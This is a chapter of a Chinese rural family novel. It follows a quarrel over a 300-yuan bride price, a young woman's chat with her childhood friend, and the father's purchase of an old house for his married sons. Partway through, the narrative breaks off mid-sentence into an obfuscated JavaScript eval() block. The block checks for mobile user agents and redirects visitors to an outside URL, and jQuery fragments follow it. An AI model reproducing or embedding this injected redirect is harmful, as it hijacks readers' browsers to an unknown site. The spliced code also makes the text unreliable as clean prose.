订婚离结婚还有一段时间，梁家就出了岔子，起因是那三百块钱。
刘桂兰这人嘴上不说心里想得却多，三百块钱像刺一样扎在她心里。她当着梁述的面不说什么，可背地里，跟邻居闲聊的时候，还是没忍不住念叨了几句，不过她也知道分寸外人会看笑话，便找补了几句。
“你说说，我家拿了一千五的彩礼，人家倒好，先抽走三百给她爷爷看病。这叫什么事？合着我家出钱替她家尽孝？”说完她害怕这话传到沈家，话锋一转：“不过，说明我这二儿媳妇有孝心。”
邻居婶子附和了两句，这事本来也就过去了，可偏偏这话传到了大儿媳妇的耳朵里，而沈彦并不知道梁家因为彩礼的事起了波澜。
她这几天没闲着，地里的白菜该收了。霜降一过，白菜得赶紧收，不然冻在地里就烂了。沈彦、李翠莲和沈厚连着干了三天，把两亩地的白菜摘掉，再一担一担挑回家，码在院子里挖好的菜窖里。
沈彦干活不快，但仔细。她砍白菜的时候，刀口贴着地皮，一刀一个，干脆利落，不像她妈那样风风火火。李翠莲有时候嫌她慢，催两句，她也不急，该咋干还咋干。
“你这丫头，干啥都慢吞吞的。”李翠莲扛着一捆白菜从地里回来，额头上全是汗。“快了砍坏咋办。”沈彦头也不抬地说。总算干完地里的活，沈彦能喘口气了，她来到隔壁马丽芳家。
马丽芳是沈彦从小一起长大的邻居，跟沈彦同岁，也是十八。她家在村口开了个小卖部，卖些油盐酱醋什么的。马燕她爸马胜利是个和气人，她妈王秀英嘴皮子利索，跟李翠莲倒是说得来。
马丽芳跟沈彦性格相反，但从小就能玩到一块，两人一块上树摘枣、下河摸鱼，别人家女孩儿不干的事，她俩都干过。后来长大了，沈彦越来越安静，马燕还是那个风风火火的性子，但两人反而更亲密。沈彦有什么心事，都跟马丽芳说。
下午，沈彦从菜窖里出来，拍了拍身上的土，去了马丽芳家。马丽芳正坐在柜台后面嗑瓜子，看见沈彦进来，眼睛一亮：“你可算来了！我都快闷死了。”
“你哪天不闷？”沈彦靠在柜台上，随手抓了一把瓜子。“我听说你相亲了？”马丽芳凑过来，压低声音，“怎么样？那男的长啥样？家里干啥的？”沈彦嗑了一颗瓜子，没说话。
“你倒是说啊！”马燕急得拍了她一下。“挺高的。”沈彦慢吞吞地说，“一米八吧，长得还行，挺秀气的。”“秀气？”马丽芳眨眨眼，“好看不？”沈彦想了想，脑子里浮现出梁述那张白净的脸，还有抿着嘴不说话的样子。“还行。”她说。
马丽芳翻了个白眼：“你就会说还行。我问你，你喜欢不喜欢？”沈彦嗑瓜子的手顿了一下，喜欢不喜欢？
她从来没想过这个问题。村里姑娘相亲，哪有什么喜欢不喜欢的？看着不讨厌，家里条件差不多，彩礼谈拢了，这事就成了。可她认识马丽芳这么多年，知道她问的不是这个。
“我也不知道。”沈彦老实说，“就见了两面，话都没说几句。”
“那你觉得他人咋样？”
“勤快。来了就干活，扫院子挑水，眼里有活儿。”
马丽芳托着下巴想了想：“那应该不差。就怕是个闷葫芦，你也是个闷葫芦，两个闷葫芦凑一块儿，家里不得跟没人似的？”
沈彦被她逗笑了，嘴角弯了一下，很快又收回去。“他人不坏。”她说，“我爷爷看病，从彩礼里拿了三百块，他二话没说就答应了。”
马丽芳愣了一下：“三百？你彩礼多少？”“一千五。”“那不剩一千二了？”马丽芳瞪大了眼睛，“你也真舍得。”
“我爷爷病了，总不能看着不管，而且小时候对我挺好的。”沈彦的声音很平静，“他说老人看病要紧。”
“谁说的？那男的？”马丽芳问道。沈彦点了点头。马燕盯着她看了几秒，忽然笑了：“沈彦，你完了。”
“啥？”“你动心了。”马丽芳指着她的鼻子，“你还说不知道喜欢不喜欢，你看你刚才说他的时候，眼睛都亮了。”
沈彦把手里剩下的瓜子扔回盘子里，站直了身子：“你别瞎说。”
“我瞎说？我认识你十几年了，你什么时候提一个男的说过这么多话？”马丽芳笑得眼睛眯成一条缝，“行了行了，我不说了。等你嫁过去，别忘了我就行。”沈彦没接话，转身往外走。走到门口，忽然回头说了一句：“忘不了。”马丽芳在身后笑得更大声了。
沈彦出了小卖部，站在村口，秋风把她的碎发吹起来，落在眼睛上。她伸手拨了一下，抬头看了看天。马丽芳说她动心了，她觉得不算，这应该是感动吧。
梁家的大儿媳妇叫张香玲，嫁过来刚好一年整。她是隔壁张家庄的，娘家条件一般，但她妈张刘氏在村里是出了名的厉害角色，嘴皮子利索，脾气也大，谁惹了她能骂上三天三夜。
张香玲她爸在家没什么话语权，家里大小事都是张刘氏说了算。桂香底下还有一个弟弟，比她小五岁，是张刘氏的心头肉，桂香从小就知道，家里的东西早晚都是弟弟的，她得靠自己。
张香玲这人性子随了她爸，平时好相处，跟谁都能说上几句话，脸上总挂着笑，在梁家这一年，左邻右舍没有不夸她的。可她也有随她妈的那一面，平时什么都好说，一旦牵扯到钱和利益，她就跟换了个人似的，寸步不让。
张香玲听见婆婆刘桂兰在院子里跟梁诚说话，声音不大，但她耳朵尖，断断续续听了几句。
“你弟弟那个彩礼一千五，人家还不满意呢！你那时候才一千二亏了……”张香玲的手顿了一下。
她嫁过来的时候，彩礼是一千二。那时候她妈张刘氏就觉得少了，跟媒人磨了好几天，最后多要了两身衣裳才算了事。张香玲自己倒没觉得什么，梁诚人好，踏实肯干，她嫁过来这一年，日子虽说过得紧巴，但梁诚对她不差。
可现在听婆婆这口气，老二梁述的彩礼是一千五？居然比她多了三百块？张香玲低下头，继续缝着手上的鞋垫。
到了晚上，回了自己屋，她才跟梁诚提起这事。“诚子。”她坐在炕沿上，手里纳着鞋底，针线在鞋底穿来穿去，像是在说一件无关紧要的事，“你弟弟的彩礼，定了一千五？”
梁诚正蹲在地上修一把锄头，闻言顿了一下，没抬头：“嗯。”“那我那时候才一千二。”桂香把针往鞋底上一扎，抬起头看着梁诚的背影，“差了三百块呢。”梁诚没说话，继续用锤子敲锄头。
“我不是说这个钱不该给。”桂香的声音还是不高不低的，“我就是想不明白，一样的儿子，怎么彩礼还能不一样？你比梁述大三岁，你结婚的时候家里啥情况，现在啥情况，咱心里有数。可这差三百块，搁谁身上能不琢磨琢磨？”
梁诚把锄头放下，直起腰，转过身看着桂香。他长得不矮，国字脸，眉毛浓黑，看着就是个稳当人。在梁家三个儿子里，梁诚是最像爹的，不是像梁德茂的窝囊，而是像梁德茂年轻时那股子肯干、能扛事的劲儿。
“香玲。”梁诚的声音不高但很稳，“这事你别往外说。”
“我没往外说，我这不是跟你说呢嘛。”桂香低下头，继续纳鞋底，针线穿过厚厚的布层，发出细微的嗤嗤声，“我就是心里不舒坦，跟你说说还不行？”
“彩礼的事，是妈和人家商量的。”梁诚重新蹲下，拿起锄头继续敲，“当时的情况你也知道，咱家穷，拿不出太多。现在梁述订婚，物价也涨了，彩礼高一点正常。”
“三百块可不是高一点。”张香玲嘟囔了一句。梁诚没再接话，屋子里安静下来，只有锤子敲击锄头和针线穿过布面的声音。
张香玲知道再说下去也没用。梁诚这个人，你跟他吵不起来，他就是那种你说十句他回你一句的人，什么事都搁在心里，不轻易表态，而且他是老大，总觉得要让着下面的弟弟。
她叹了口气，把鞋底收起来，吹了灯，躺下了。黑暗里，张香玲睁着眼睛，盯着头顶的房梁，半天没睡着。
她不是不讲理的人，知道梁述订婚比她晚两年，物价涨了，彩礼高一些是正常的可三百块不是小数目，搁在村里，够买一头大牲口了。她嫁过来这一年，省吃俭用，连件新衣裳都舍不得做，结果老二还没过门，彩礼就比她多了三百块。
第二天，梁诚一早起来，去院子里劈柴。梁述也起了，蹲在水缸边上洗脸。晨光刚刚照进院子，把土坯墙的影子拉得老长。
“哥。”梁述洗完脸，把毛巾搭在架子上，叫了一声。“嗯。”梁诚劈了一斧子，木柴裂成两半，蹦出去老远。
梁述犹豫了一下，说：“妈是不是在外面说彩礼的事了？”梁诚停下斧子，直起腰，看了弟弟一眼。梁述站在那儿，一米八的个子，秀气的脸上没什么表情，但眼睛里有东西在闪。
“你听说了？”梁诚问。“没。”梁述说，“我就是猜的。大嫂昨天看见我，笑了一下就进屋了，跟平时不太一样。”梁诚把斧子往木桩上一插，拍了拍手上的木屑，走到梁述跟前。兄弟俩站在一起，梁诚比梁述矮半头，但肩背更宽，看着更结实。
“你大嫂没说什么。”梁诚说，“彩礼的事你也别往心里去，妈就是嘴快，过几天就忘了。”梁述点点头，没再说什么。梁诚转身回去继续劈柴，他没告诉梁述的是，香玲昨晚上翻来覆去睡不着，他也睡不着。
他想了一宿，想的不是那三百块钱，而是这个家。三个儿子，爹窝囊，妈嘴快，底下还有一个弟弟没成家。梁述好不容易定下亲事，要是因为这点事闹出不痛快，传出去让人笑话是小，伤了兄弟感情是大。
他是老大，这个家，他得撑着。
梁德茂买房子的事，是在订婚之后第二个月定下来的。
说起来也是巧了。镇上有一户人家，儿子在外地落了脚，要把老家的房子卖了，三间瓦房，带一个厨房一个厕所，院子不小，就是房子盖的年头久了，有些旧，瓦片碎了几块，墙根也有些返潮。要价一千二，好说歹说，最后一千块成交。
梁德茂这回倒是没犯糊涂。他攒了大半辈子的工资，
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17632803|206451||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
加上跟工友借了二百，凑齐了一千块，把房子买了下来。买房子的事，他事先没跟任何人商量。
他下了班骑着自行车回来，把房契往桌上一拍，说：“我买了套房，三间，在镇东头。”刘桂兰正在灶房里搅粥，听到这话，勺子都掉了，“你说啥？”
“买了个房。”梁德茂坐到炕沿上，点了一根烟，深吸一口，“三间瓦房，院子挺大。诚子和梁述搬过去住，咱俩还住这儿，梁言跟着咱。”
刘桂兰愣了半天，回过神来说：“你哪来的钱？”“攒的，还借了二百。”
“你疯了？”刘桂兰的声音拔高了，“老大老二都没分家，你买房子分开住，算怎么回事？”
“没分家也没事，先住着。”梁德茂吐了一口烟，“不买这房子你看现在的房子能住下人吗？这房子太小了，六口人挤不下。诚子结婚了，梁述也要娶媳妇，总得有个地方住。镇东头那房子虽说不算好，但好歹是个窝，比挤在一块儿强。”
刘桂兰还想说什么，看了一眼梁德茂的脸色，把话咽回去了。梁德茂这个人，平时什么事都不管，家里小事都是刘桂兰说了算。可一旦他做了什么决定，那就是铁了心的，十头牛都拉不回来。就像当年从市里调回县城，刘桂兰哭过闹过，最后还是跟着回来了。
买房这件事，也是这样。知道买房子后，张香玲很兴奋，终于不用和婆婆挤在一起住了，连忙让梁诚和梁述去看房子。
这房子确实算不上好，三间瓦房，坐北朝南，但朝南那面墙的墙皮掉了大半，露出里面的砖块。房顶的瓦片碎了几块，得重新铺。厨房小得只能转开身，茅厕在院子西北角，是用土坯垒的，门都关不严实。
但院子确实大。比老屋的院子大了两三倍，靠墙有一棵老槐树，树干粗得一个人抱不住，树冠伸展开来，遮了大半个院子。地上长了一层薄薄的青苔，踩上去软绵绵的。
“院子不错。”梁诚站在院子中间，四下看了看，“开春了能种点菜。”梁述没说话，走到那棵槐树底下，抬头看了看。树枝光秃秃的，伸向灰白的天空，像一把撑开的骨架。
“哥。”梁述忽然说。
“嗯？”
“这房子，咱俩怎么住？”梁诚想了想，说：“你住东边那间，我住西边。中间那间做堂屋，以后两家吃饭在一块儿。”
梁述点了点头。他没说的是，两家吃饭在一块儿，那大嫂和沈彦，能处到一块儿去吗？
他想起沈彦的样子，又想起大嫂张香玲在灶房里和面时的背影。两个女人，一个是还没过门的媳妇，一个是已经进门一年的嫂子，来到新地方肯定都想当家做主……
搬家那天，梁诚和梁述用板车拉了三趟，才把东西搬完。其实也没什么好搬的。梁诚屋里就一张床、一个柜子、一张桌子，外加几件农具。梁述更简单，一张床，一个木头箱子，箱子里装着几件换洗衣服和几本旧课本。
刘桂兰帮着收拾了一上午，把两间屋子的炕重新糊了一遍，又在地上洒了水扫干净。她站在东屋门口，看着梁述把那个木头箱子摆在墙角，忽然说了一句：“等沈彦嫁过来，这屋子还得添置些东西。柜子太小了，她衣服没处放。”
梁述没接话，把箱子摆好，直起腰看了看。屋子不大，但比他原来和老三挤在一起的时候强多了。至少是一个人住，关上门，就是自己的地方。
梁诚两口子搬进了西屋，张香玲进屋的第一件事，是把墙角的一堆杂物清了出去，又用抹布把窗户擦了三遍，最后在窗台上摆了一个玻璃瓶，瓶里插了几枝从院子里摘的枯草，算是个装饰。
梁诚靠在门框上看她忙活，嘴角带着一点笑。“你笑啥？”张香玲回头看了他一眼。“没笑啥。”梁诚说，“就是觉得你收拾屋子挺利索。”张香玲白了他一眼，继续擦桌子。
可她心里是高兴的，不管怎么说，现在有自己的屋子了，不用跟婆婆挤在一个院里。虽说这房子破了些，但是也比那边的房子好，而且关起门来，是自己说了算。
“诚子。”张香玲忽然停下手中的活。“你弟弟的媳妇是个什么样的人？”梁诚想了想，说：“我也没见过几面。听妈说，长得清秀，话也不多好像做饭挺好吃。”
张香玲“哦”了一声，没再问了。她把抹布洗干净，挂在门外的铁丝上，拍了拍手上的灰，站在院子里四下看了看。
院子真大。那棵老槐树要是到了夏天，树荫能遮半拉院子。东边那间屋子还空着，窗户关着，看不见里面。等沈彦嫁过来，就住那间。张香玲忽然觉得有点说不清的感觉。
东屋这边，梁述把木头箱子打开，从里面翻出一本旧课本。初中的语文课本，翻得起了毛边，书角卷着，有几页还沾了水渍。他随手翻开一页停了一下，又合上了，把课本放回箱子里，盖上盖子，站起身走到窗前。
窗外是那棵老槐树，光秃秃的枝丫在风里轻轻晃着。梁述把手插进口袋里，站在窗前，看着外面灰蒙蒙的天，嘴角微微动了一下，算是笑了。
腊月十八，还有不到两个月。